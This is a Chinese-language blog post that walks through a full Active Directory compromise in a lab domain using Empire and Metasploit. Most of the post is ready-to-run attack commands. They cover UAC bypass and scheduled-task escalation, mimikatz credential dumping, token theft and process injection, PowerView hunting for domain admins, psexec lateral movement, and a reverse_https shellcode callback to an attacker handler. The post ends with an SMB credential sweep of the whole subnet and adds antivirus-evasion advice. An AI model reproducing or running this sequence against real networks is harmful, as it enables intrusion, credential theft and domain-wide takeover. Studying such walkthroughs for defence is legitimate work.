Empire实战域渗透

  • 内容
  • 相关

0x01 域环境结构
所在域:tt.smiletest.com
域控:windows server 2012 ip:10.10.10.10
域内其他成员: 

Windows 7 x32 ip:10.10.10.11

Windows 7 x64 ip:10.10.10.12

Windows 10 x64 ip:10.10.10.13
域环境结构图:


0x02 撸起袖子干
首先得拿到一个shell,当然这个shell怎么来的就看大家自行发挥了,你可以在webshell里直接执行用Empire生成的直接返回会话的shellcode,我也推荐这方法,别问我为啥,因为免杀,而且不会在对方机机器上产生什么明显的痕迹;当然你也可以上传Metasploit的反弹马,然后在shell下执行这条语句;你还可以在让服务器管理员帮你执行!
哈哈,开玩笑,这种方法不存在,总之方法很多了,大家自由发挥,我直接托代码进去执行了。

拿到一个命令行之后,看看域环境内的主机数量以及看看有几个域
执行命令:

Shell net view
Shell net view /domain


这里有一个地方需要注意的,执行的如果不是Empire的命令,那么这条命令会被解析为windows命令,但是当执行的命令有空格,就必须要用shell去执行。
接下来要做什么?当然是提权了,当不知道用什么方法来提权的时候,可以使用一个模块来检测系统,让它告诉你应该用什么办法:

usemodule privesc/powerup/allchecks

看看设置,什么都不用做,直接执行,它会给返回我们想要的

可以看到,它列出了很多方法,可以直接bypassuac来提权,来吧执行一下,bypassuac 监听名
稍等几秒钟,就会返回一个更高权限的shell。

如果你还想要更的权限,可以使用一个模块提升到系统权限


usemodule persistence/elevated/schtasks
使用计划任务来帮我提升到系统权限
看看信息:


需要做的只是设置时间而已然后执行


set DailyTime 时间
Set Listener 监听名
现在要做的事情就是等了,等时间到了返回具有更高权限的shell


更高级的权限已经回来了,这个时候,首先得知道内网中到底有几台机器,还有就是他们的ip,要不怎么继续尽享下去?那种小事情怎么可能是Empire模块不自带的事情?可以寻找一下模块


searchmodule arpscan
立马,Empire就回显了,并且提示了它的用处



usemodule situational_awareness/network/arpscan
设置一下要扫描的网段



set Range 10.10.10.10-10.10.10.30
执行


扫描速度还是很快的,既然已经有权限了,那可以执行mimikatz来拿到当前靶机的帐号密码了,mimikatz的执行效果就不给了,等mimikatz执行完成以后直接creds来看Empire列举好的密码就好了。

发现还有域用户在这台机器上登录了,密码已明文的形式显示出来了,可以看到有4个用户密码出来了(尼玛,域管都读出来了,环境没配好,假装没有 ^_^!),知道谁登陆了,也有权限了,那自然可以窃取身份用户了吗!然后进行横向移动,来吧,先身份窃取吧,使用pth <ID>这里的ID号就添上面的用creds 命令拿到的CredID,注意,这里必须要是hash的CredID,不可以是明文的,来窃取smilewin7x64身份令牌
执行 pth <ID>命令返回PID进程号

可以看到这个用户的进程号,


steal_token PID
就可以窃取身份令牌了,可是这里我就日了狗了,命令就是没回显,完全是突发情况,没办法,给大家换一个思路,是使用进程注入模块,来获取权限
usemodule management/psinject


需要设置的就是ProcID 和 Listener就好了


set ProcId 2912
set Listener smiletest
设置好后执行,会返回一个新的会话


###你们想知道刚刚发生了什么吗?机器屏幕黑了一下,然后虚拟机去外加终端全部关掉了。有锤子么?还好我的文档随手保存…..,我去整环境,重新来,唉。。
因为网络断掉,刚刚的数据有缓存,所以PID进程号码不对,大家可以清理一下缓存,重新执行,介绍新方法:

usemodule credentials/tokens
信息什么都不需要设置,直接执行


然后方法一样,进程注入
哈哈,成功拿到会话后,加下来做什么?当然是横向移动了,看看能不能用这个用户名拿到其他的机器。当然了,在渗透过程中直接模拟域管就好了,我这是为了跟大家演示,大家不要向我学习,这么傻的做无用功啊 ^_^!
其实这里我是知道可以登录哪里的机器的,但是想要寻找域管在哪里登录的,然后横向移动进去,窃取域管权限,不就可以拿到整个域了,我在这里提一下要怎么寻找域管在哪里登录的,使用模块

usemodule situational_awareness/network/powerview/user_hunter

也是powerview的模块,大家肯定都用过,看看需要设置什么

其实什么也不用设置,可以直接执行的,看一下这个设置吧,可以定向寻找一些东西,比如说你知道域管用户,那你可以设置一下的,还有计算机名,在这里直接执行,返回了域管登录在TTWIN7X64.tt.smiletest.com这台机器上,还有在这台机器上登录了smilewin7x64这个用户,哈~刚刚已经窃取到了权限,来吧,域管
来横向移动

usemodule situational_awareness/network/powerview/find_localadmin_access
查找整个域中全部的计算机名(实际上是powerview中的方法了)


什么都不需要设置,直接执行

返回了全部的机器名,


usemodule lateral_movement/invoke_psexec
一样,看看需要设置的东西



设置机器名和监听就行,开撸


set ComputerName TTWIN7X64.tt.smiletest.com
set Listener smiletest
执行


成功,而且是系统权限,那用相同的办法,进程注入从而得到域用户权限
过程略过
直接到获取到域用户kzhl权限

直接读密码了。渗透过程中可能读不到,你都有域管权限了,读不到怕啥??


拿到了域管的密码,做什么?当然是迅速扩张了!


0x03 迁移进程到MSF实现smb迅速扩张


使用模块

usemodule code_execution/invoke_shellcode
设置方法如下



set Lhost 10.10.10.1
set Lport 4444


在Metasploit设置监听
(用Empire用了一晚上,在重返Metasploit,我是谁?我要干嘛?命令怎么写?模块是什么?)
这里注意了,设置的payload必须是http或https的

use exploit/multi/handler
Set payload windows/meterpreter/reverse_https
set lport 4444
exploit



成功返回会话,接下来使用msf进行内网迅速扩张

use auxiliary/scanner/smb/smb_login
set rhosts 10.10.10.0/24
set smbuser kzhl
set smbpass admin888.
set smbdomain TT
set threads 16
Exploit



撸穿了整个域。。。


0x04 收获到的一些神奇的想法


我并没有去测试这些方法的可行性,只是异想天开的在脑海里呈现的一些思路。
1.当我们拿到webshell的时候,苦恼在目标机上的杀软,无法绕过,可以使用webshell去执行Empire的payload,他直接执行在内存中,杀软是没有任何效果的,亲测可行,之后在使用Empire的模块将其反弹会Metasploit,实现了免杀的过程。
2.大家都知道,在Metasploit下的代理是很容易就可以设置的,但是Empire下则不然,很麻烦的一个东西,如果对方有杀软,可以使用第一个小思路绕过之后,在通过Metasploit添加代理,然后在配置proxychains,使用proxychainx来帮助Empire杀入内网,当然你也可以使用其他的工具,大家如果对代理的使用不是很了解的话,可以参见shutter老哥的一篇文章。


0x05 总结


全文的逻辑和问题比较多,但是基本上给大家比较全面的介绍了Empire这款神器在真正渗透过程中的使用,我想通过这篇文章大家肯定对Empire有一个比较全面的了解,他牛的地方就用它,他弱的地方,用其他的工具辅助他。总之,工具是死的,人是活得。


本文标签:

版权声明:若无特殊注明,本文皆为《舜哥哥吖》原创,转载请保留文章出处。

本文链接:Empire实战域渗透 - http://www.shungg.cn/post/82

发表评论

电子邮件地址不会被公开。 必填项已用*标注